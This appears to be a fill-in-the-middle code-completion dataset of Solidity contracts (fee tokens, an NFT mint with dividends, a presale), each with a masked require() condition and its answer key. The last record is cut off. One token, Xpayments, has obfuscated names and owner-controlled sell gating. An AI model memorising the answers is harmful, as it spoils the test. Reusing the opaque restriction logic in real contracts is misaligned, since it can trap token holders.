function getOwner() external view override returns (address) { }
function totalSupply() public view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount) public override returns (bool) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function isCont(address addr) internal view returns (bool) { }
function setisBot(address _address, bool _enabled) external onlyOwner { }
function setisExempt(address _address, bool _enabled) external onlyOwner { }
function approve(address spender, uint256 amount) public override returns (bool) { }
function circulatingSupply() public view override returns (uint256) { }
function _maxWalletToken() public view returns (uint256) { }
function _maxTxAmount() public view returns (uint256) { }
function _maxTransferAmount() public view returns (uint256) { }
function preTxCheck(address sender, address recipient, uint256 amount) internal view {
}
function _transfer(address sender, address recipient, uint256 amount) private {
}
function setStructure(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
}
function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
}
function checkTradingAllowed(address sender, address recipient) internal view {
}
function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
require(<FILL_ME>)}
}
function swapbackCounters(address sender, address recipient) internal {
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
}
function swapBack(address sender, address recipient, uint256 amount) internal {
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
}
| (_balances[recipient].add(amount))<=_maxWalletToken(),"Exceeds maximum wallet amount." | 61,192 | (_balances[recipient].add(amount))<=_maxWalletToken() |
"Address is not on whitelist" | //SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
contract UNDERDOGZ is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI ="ipfs://QmNbBQiHhHmGUGSVNvTPDdq6iFartgi1SZug1cjH3EAThS/";
string public baseExtension = ".json";
string public notRevealedUri = "ipfs://QmbRfowFNpzjsF66ACKcmriURXHuipXBA2tBmZBhy839J3/hidden.json";
uint256 public cost = 0.085 ether;
uint256 public maxSupply = 8600;
uint256 public maxMintAmount = 15;
uint256 public nftPerAddressLimit = 15;
uint256 public dividendAmount = 0 ether;
uint256 public dividendRound = 0;
uint256 public maxDividendWhaleValue = 100;
bool public paused = true;
bool public revealed = false;
bool public isWhiteListActive = true;
bool public dividendStatus = false;
mapping(address => bool) private _whiteList;
mapping(address => uint256) public addressMintedBalance;
mapping(uint256 => bool) public tokenIdToToken;
uint256[] public claimedTokens;
constructor() ERC721("THE UNDERDOGZ", "UDZ") ReentrancyGuard() {
}
//==========================================================================================
event mintEvent (
address minterAddress,
uint256 minterAmount,
uint256 minterPaid,
uint256 minterTimeOfMint
);
event tokenDividends (
uint256 tokenID,
bool tokenStatus,
address tokenHolder,
uint256 tokenWorth,
uint256 dividendRound,
uint256 tokenTimeOfClaim
);
event claimerDividends (
address claimerAddress,
uint256 validTokens,
uint256 amountRecieved,
uint256 dividendRound,
uint256 claimerTimeOfClaim
);
function _baseURI() internal view virtual override returns (string memory) {
}
function mint(address _to, uint256 _mintAmount) nonReentrant() public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if(msg.sender != owner()) {
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "NFT Per Address Limit Exceeded");
}
if (isWhiteListActive == true) {
require(msg.sender == _to, "Msg.sender is not correct Wallet");
require(isWhiteListActive = true, "whitelist is not active");
require(<FILL_ME>)
if (msg.sender != owner()) {
require(msg.value == cost * _mintAmount);
}
emit mintEvent(_to, _mintAmount, msg.value, block.timestamp);
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(_to, supply + i);
}
} else {
if (msg.sender != owner()) {
require(msg.value == cost * _mintAmount);
}
emit mintEvent(_to, _mintAmount, msg.value, block.timestamp);
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(_to, supply + i);
}
}
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
//==========================================================================================
function setWhiteList(address[] calldata addresses) public onlyOwner {
}
function removeWhiteList(address _address) public onlyOwner {
}
function setmaxDividendWhaleValue(uint256 _maxDividendWhaleValue) public onlyOwner {
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
}
function setDividendAmount(uint256 _dividendAmount) public onlyOwner {
}
function setDividenStatus(bool _dividendStatus) public onlyOwner {
}
function reveal() public onlyOwner {
}
function setWhiteListStatus(bool status) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function depositDividenPool() public payable onlyOwner {
}
//Cold Wallet Mint
function mintCold() public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
//==========================================================================================
function getPaused() external view returns (bool) {
}
function getWhiteListStatus() external view returns (bool) {
}
function getWhiteListUserStatus(address _address) external view returns (bool) {
}
function testRequiredDividendPool(uint256 testDividendAmount) external view onlyOwner returns (uint256) {
}
//==========================================================================================
function claimDividends(address payable tokenHolder) nonReentrant() public {
}
}
| _whiteList[_to]==true,"Address is not on whitelist" | 61,213 | _whiteList[_to]==true |
"Must Own A UDZ NFT In Order To Claim Dividends!" | //SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
contract UNDERDOGZ is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI ="ipfs://QmNbBQiHhHmGUGSVNvTPDdq6iFartgi1SZug1cjH3EAThS/";
string public baseExtension = ".json";
string public notRevealedUri = "ipfs://QmbRfowFNpzjsF66ACKcmriURXHuipXBA2tBmZBhy839J3/hidden.json";
uint256 public cost = 0.085 ether;
uint256 public maxSupply = 8600;
uint256 public maxMintAmount = 15;
uint256 public nftPerAddressLimit = 15;
uint256 public dividendAmount = 0 ether;
uint256 public dividendRound = 0;
uint256 public maxDividendWhaleValue = 100;
bool public paused = true;
bool public revealed = false;
bool public isWhiteListActive = true;
bool public dividendStatus = false;
mapping(address => bool) private _whiteList;
mapping(address => uint256) public addressMintedBalance;
mapping(uint256 => bool) public tokenIdToToken;
uint256[] public claimedTokens;
constructor() ERC721("THE UNDERDOGZ", "UDZ") ReentrancyGuard() {
}
//==========================================================================================
event mintEvent (
address minterAddress,
uint256 minterAmount,
uint256 minterPaid,
uint256 minterTimeOfMint
);
event tokenDividends (
uint256 tokenID,
bool tokenStatus,
address tokenHolder,
uint256 tokenWorth,
uint256 dividendRound,
uint256 tokenTimeOfClaim
);
event claimerDividends (
address claimerAddress,
uint256 validTokens,
uint256 amountRecieved,
uint256 dividendRound,
uint256 claimerTimeOfClaim
);
function _baseURI() internal view virtual override returns (string memory) {
}
function mint(address _to, uint256 _mintAmount) nonReentrant() public payable {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
//==========================================================================================
function setWhiteList(address[] calldata addresses) public onlyOwner {
}
function removeWhiteList(address _address) public onlyOwner {
}
function setmaxDividendWhaleValue(uint256 _maxDividendWhaleValue) public onlyOwner {
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
}
function setDividendAmount(uint256 _dividendAmount) public onlyOwner {
}
function setDividenStatus(bool _dividendStatus) public onlyOwner {
}
function reveal() public onlyOwner {
}
function setWhiteListStatus(bool status) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function depositDividenPool() public payable onlyOwner {
}
//Cold Wallet Mint
function mintCold() public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
//==========================================================================================
function getPaused() external view returns (bool) {
}
function getWhiteListStatus() external view returns (bool) {
}
function getWhiteListUserStatus(address _address) external view returns (bool) {
}
function testRequiredDividendPool(uint256 testDividendAmount) external view onlyOwner returns (uint256) {
}
//==========================================================================================
function claimDividends(address payable tokenHolder) nonReentrant() public {
require(dividendStatus == true, "Dividends Are Not Currently Active!");
require(<FILL_ME>)
require(tokenHolder == msg.sender, "Can Only Claim With Own Wallet");
require(tokenHolder != owner(), "Dividends Are Only For The UDZ DAO Members!");
uint256 validClaimAmount = 0;
uint256 walletClaimAmount = 0;
for(uint256 i = 0; i < walletOfOwner(tokenHolder).length; i++) {
uint256 currentTokenId = tokenOfOwnerByIndex(tokenHolder, i);
if(tokenIdToToken[currentTokenId] == false && walletClaimAmount < maxDividendWhaleValue) {
claimedTokens.push(currentTokenId);
tokenIdToToken[currentTokenId] = true;
walletClaimAmount++;
validClaimAmount++;
emit tokenDividends (currentTokenId, tokenIdToToken[currentTokenId], tokenHolder, dividendAmount, dividendRound, block.timestamp);
} else if (tokenIdToToken[currentTokenId] == true && walletClaimAmount < maxDividendWhaleValue) {
walletClaimAmount++;
} else {
break;
}
}
require(address(this).balance > dividendAmount * validClaimAmount, "Dividend Amount Succeeds Contract Balance");
require(validClaimAmount > 0, "You do not have any unclaimed NFTs");
uint256 amountRecieved = dividendAmount * validClaimAmount;
emit claimerDividends (tokenHolder, validClaimAmount, amountRecieved, dividendRound, block.timestamp);
tokenHolder.transfer(dividendAmount * validClaimAmount);
}
}
| balanceOf(tokenHolder)>=1,"Must Own A UDZ NFT In Order To Claim Dividends!" | 61,213 | balanceOf(tokenHolder)>=1 |
"Dividend Amount Succeeds Contract Balance" | //SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
contract UNDERDOGZ is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI ="ipfs://QmNbBQiHhHmGUGSVNvTPDdq6iFartgi1SZug1cjH3EAThS/";
string public baseExtension = ".json";
string public notRevealedUri = "ipfs://QmbRfowFNpzjsF66ACKcmriURXHuipXBA2tBmZBhy839J3/hidden.json";
uint256 public cost = 0.085 ether;
uint256 public maxSupply = 8600;
uint256 public maxMintAmount = 15;
uint256 public nftPerAddressLimit = 15;
uint256 public dividendAmount = 0 ether;
uint256 public dividendRound = 0;
uint256 public maxDividendWhaleValue = 100;
bool public paused = true;
bool public revealed = false;
bool public isWhiteListActive = true;
bool public dividendStatus = false;
mapping(address => bool) private _whiteList;
mapping(address => uint256) public addressMintedBalance;
mapping(uint256 => bool) public tokenIdToToken;
uint256[] public claimedTokens;
constructor() ERC721("THE UNDERDOGZ", "UDZ") ReentrancyGuard() {
}
//==========================================================================================
event mintEvent (
address minterAddress,
uint256 minterAmount,
uint256 minterPaid,
uint256 minterTimeOfMint
);
event tokenDividends (
uint256 tokenID,
bool tokenStatus,
address tokenHolder,
uint256 tokenWorth,
uint256 dividendRound,
uint256 tokenTimeOfClaim
);
event claimerDividends (
address claimerAddress,
uint256 validTokens,
uint256 amountRecieved,
uint256 dividendRound,
uint256 claimerTimeOfClaim
);
function _baseURI() internal view virtual override returns (string memory) {
}
function mint(address _to, uint256 _mintAmount) nonReentrant() public payable {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
//==========================================================================================
function setWhiteList(address[] calldata addresses) public onlyOwner {
}
function removeWhiteList(address _address) public onlyOwner {
}
function setmaxDividendWhaleValue(uint256 _maxDividendWhaleValue) public onlyOwner {
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
}
function setDividendAmount(uint256 _dividendAmount) public onlyOwner {
}
function setDividenStatus(bool _dividendStatus) public onlyOwner {
}
function reveal() public onlyOwner {
}
function setWhiteListStatus(bool status) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function depositDividenPool() public payable onlyOwner {
}
//Cold Wallet Mint
function mintCold() public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
//==========================================================================================
function getPaused() external view returns (bool) {
}
function getWhiteListStatus() external view returns (bool) {
}
function getWhiteListUserStatus(address _address) external view returns (bool) {
}
function testRequiredDividendPool(uint256 testDividendAmount) external view onlyOwner returns (uint256) {
}
//==========================================================================================
function claimDividends(address payable tokenHolder) nonReentrant() public {
require(dividendStatus == true, "Dividends Are Not Currently Active!");
require(balanceOf(tokenHolder) >= 1, "Must Own A UDZ NFT In Order To Claim Dividends!");
require(tokenHolder == msg.sender, "Can Only Claim With Own Wallet");
require(tokenHolder != owner(), "Dividends Are Only For The UDZ DAO Members!");
uint256 validClaimAmount = 0;
uint256 walletClaimAmount = 0;
for(uint256 i = 0; i < walletOfOwner(tokenHolder).length; i++) {
uint256 currentTokenId = tokenOfOwnerByIndex(tokenHolder, i);
if(tokenIdToToken[currentTokenId] == false && walletClaimAmount < maxDividendWhaleValue) {
claimedTokens.push(currentTokenId);
tokenIdToToken[currentTokenId] = true;
walletClaimAmount++;
validClaimAmount++;
emit tokenDividends (currentTokenId, tokenIdToToken[currentTokenId], tokenHolder, dividendAmount, dividendRound, block.timestamp);
} else if (tokenIdToToken[currentTokenId] == true && walletClaimAmount < maxDividendWhaleValue) {
walletClaimAmount++;
} else {
break;
}
}
require(<FILL_ME>)
require(validClaimAmount > 0, "You do not have any unclaimed NFTs");
uint256 amountRecieved = dividendAmount * validClaimAmount;
emit claimerDividends (tokenHolder, validClaimAmount, amountRecieved, dividendRound, block.timestamp);
tokenHolder.transfer(dividendAmount * validClaimAmount);
}
}
| address(this).balance>dividendAmount*validClaimAmount,"Dividend Amount Succeeds Contract Balance" | 61,213 | address(this).balance>dividendAmount*validClaimAmount |
"Recipient address not whitelisted" | contract RoePresale is Initializable, ReentrancyGuardUpgradeable, OwnableUpgradeable, PausableUpgradeable {
address public recipientWalletAddress; // state variable for the recipient's address
using SafeERC20Upgradeable for IERC20Upgradeable;
mapping(address => bool) public wertWhitelistedWallets;
mapping(address => bool) public whitelistRecipients;
event WhitelistAdded(address indexed wallet);
event WhitelistRemoved(address indexed wallet);
constructor() initializer {
}
function whitelistRecipient(address recipient) external onlyOwner {
}
function buyWithETHWert(
uint256 _amount
)
external
payable
whenNotPaused
nonReentrant
returns (bool)
{
require(msg.value >= _amount, "Less payment");
require(<FILL_ME>)
Address.sendValue(payable(recipientWalletAddress), _amount);
return true;
}
function whitelistUsersForWERT(
address[] calldata _addressesToWhitelist
) external onlyOwner {
}
function removeFromWhitelistForWERT(
address[] calldata _addressesToRemoveFromWhitelist
) external onlyOwner {
}
receive() external payable {
}
}
| whitelistRecipients[recipientWalletAddress],"Recipient address not whitelisted" | 61,233 | whitelistRecipients[recipientWalletAddress] |
"already" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract TokenDistributor {
constructor (address token) {
}
}
contract ERC20 is IERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address public fundAddress;
string private _name;
string private _symbol;
uint8 private _decimals;
mapping(address => bool) public _isExcludeFromFee;
uint256 private _totalSupply;
IUniswapRouter public _uniswapRouter;
mapping(address => bool) public isMarketPair;
bool private inSwap;
uint256 private constant MAX = ~uint256(0);
uint256 public _buyFundFee = 1;
uint256 public _sellFundFee = 1;
address public _uniswapPair;
modifier lockTheSwap {
}
TokenDistributor public _tokenDistributor;
constructor (){
}
function initialPair() public onlyOwner{
require(<FILL_ME>)
IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapRouter = swapRouter;
_allowances[address(this)][address(swapRouter)] = MAX;
IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
_uniswapPair = swapPair;
isMarketPair[swapPair] = true;
IERC20(_uniswapRouter.WETH()).approve(
address(address(_uniswapRouter)),
~uint256(0)
);
_tokenDistributor = new TokenDistributor(_uniswapRouter.WETH());
_isExcludeFromFee[address(swapRouter)] = true;
}
function setFundAddr(address newAddr) public onlyOwner{
}
function symbol() external view override returns (string memory) {
}
function name() external view override returns (string memory) {
}
function decimals() external view override returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
bool public remainEn = true;
function changeRemain() public onlyOwner{
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function autoSwap(uint256 _count) public {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function swapTokenToDistribute(uint256 tokenAmount) private lockTheSwap {
}
function _transferToken(
address sender,
address recipient,
uint256 tAmount,
bool takeFee,
bool sellFlag
) private {
}
uint256 public startTradeBlock;
function startTrade(address[] calldata adrs) public onlyOwner {
}
function swapToken(uint256 tokenAmount,address to) private lockTheSwap {
}
function random(uint number,address _addr) private view returns(uint) {
}
function removeERC20(address _token) external {
}
event catchEvent(uint8);
function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
}
function setIsExcludeFromFees(address account, bool value) public onlyOwner{
}
receive() external payable {}
}
| address(_uniswapRouter)==address(0),"already" | 61,369 | address(_uniswapRouter)==address(0) |
"Only one transfer per block allowed." | /*
https://twitter.com/Xpayments
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _efzcrw(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _efzcrw(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _blfej(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract Xpayments is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _powrvu;
address payable private _revdfo;
address private _bvexaz;
string private constant _name = unicode"Xpayments";
string private constant _symbol = unicode"Xpayments";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
uint256 public _psoabk = _totalSupply;
uint256 public _qrvobk = _totalSupply;
uint256 public _pkrsvb= _totalSupply;
uint256 public _qfwvad= _totalSupply;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _ylvcqr=0;
uint256 private _pvfvgo=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _vrgfld;
mapping (address => bool) private _hvqcsk;
mapping(address => uint256) private _fualrg;
bool private _srejopen;
bool public _prvdeq = false;
bool private kljokh = false;
bool private _rovyoj = false;
event _qrkjej(uint _psoabk);
modifier frhvey {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 qobrfk=0;
if (from !=
owner () && to
!= owner ( ) ) {
if (_prvdeq) {
if (to
!= address
(_powrvu)
&& to !=
address
(_bvexaz)) {
require(<FILL_ME>)
_fualrg
[tx.origin]
= block.number;
}
}
if (from ==
_bvexaz && to !=
address(_powrvu) &&
!_vrgfld[to] ) {
require(amount
<= _psoabk,
"Exceeds the _psoabk.");
require(balanceOf
(to) + amount
<= _qrvobk,
"Exceeds the _qrvobk.");
if(_pvfvgo
< _ylvcqr){
require
(! _frvdwx(to));
}
_pvfvgo++;
_hvqcsk
[to]=true;
qobrfk = amount._blfej
((_pvfvgo>
_BuyAreduceTax)?
_BuyfinalTax:
_BuyinitialTax)
.div(100);
}
if(to == _bvexaz &&
from!= address(this)
&& !_vrgfld[from] ){
require(amount <=
_psoabk &&
balanceOf(_revdfo)
<_qfwvad,
"Exceeds the _psoabk.");
qobrfk = amount._blfej((_pvfvgo>
_SellAreduceTax)?
_SellfinalTax:
_SellinitialTax)
.div(100);
require(_pvfvgo>
_ylvcqr &&
_hvqcsk[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!kljokh
&& to == _bvexaz &&
_rovyoj &&
contractTokenBalance>
_pkrsvb
&& _pvfvgo>
_ylvcqr&&
!_vrgfld[to]&&
!_vrgfld[from]
) {
_transferFrom( _bydshr(amount,
_bydshr(contractTokenBalance,
_qfwvad)));
uint256 contractETHBalance
= address(this)
.balance;
if(contractETHBalance
> 0) {
_prqnrk(address
(this).balance);
}
}
}
if(qobrfk>0){
_balances[address
(this)]=_balances
[address
(this)].
add(qobrfk);
emit
Transfer(from,
address
(this),qobrfk);
}
_balances[from
]= _efzcrw(from,
_balances[from]
, amount);
_balances[to]=
_balances[to].
add(amount.
_efzcrw(qobrfk));
emit Transfer
(from, to,
amount.
_efzcrw(qobrfk));
}
function _transferFrom(uint256
tokenAmount) private
frhvey {
}
function _bydshr
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _efzcrw(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _frvdwx(address
account) private view
returns (bool) {
}
function _prqnrk(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
}
receive() external payable {}
}
| _fualrg[tx.origin]<block.number,"Only one transfer per block allowed." | 61,418 | _fualrg[tx.origin]<block.number |
"Exceeds the _qrvobk." | /*
https://twitter.com/Xpayments
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _efzcrw(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _efzcrw(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _blfej(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract Xpayments is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _powrvu;
address payable private _revdfo;
address private _bvexaz;
string private constant _name = unicode"Xpayments";
string private constant _symbol = unicode"Xpayments";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
uint256 public _psoabk = _totalSupply;
uint256 public _qrvobk = _totalSupply;
uint256 public _pkrsvb= _totalSupply;
uint256 public _qfwvad= _totalSupply;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _ylvcqr=0;
uint256 private _pvfvgo=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _vrgfld;
mapping (address => bool) private _hvqcsk;
mapping(address => uint256) private _fualrg;
bool private _srejopen;
bool public _prvdeq = false;
bool private kljokh = false;
bool private _rovyoj = false;
event _qrkjej(uint _psoabk);
modifier frhvey {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 qobrfk=0;
if (from !=
owner () && to
!= owner ( ) ) {
if (_prvdeq) {
if (to
!= address
(_powrvu)
&& to !=
address
(_bvexaz)) {
require(_fualrg
[tx.origin]
< block.number,
"Only one transfer per block allowed."
);
_fualrg
[tx.origin]
= block.number;
}
}
if (from ==
_bvexaz && to !=
address(_powrvu) &&
!_vrgfld[to] ) {
require(amount
<= _psoabk,
"Exceeds the _psoabk.");
require(<FILL_ME>)
if(_pvfvgo
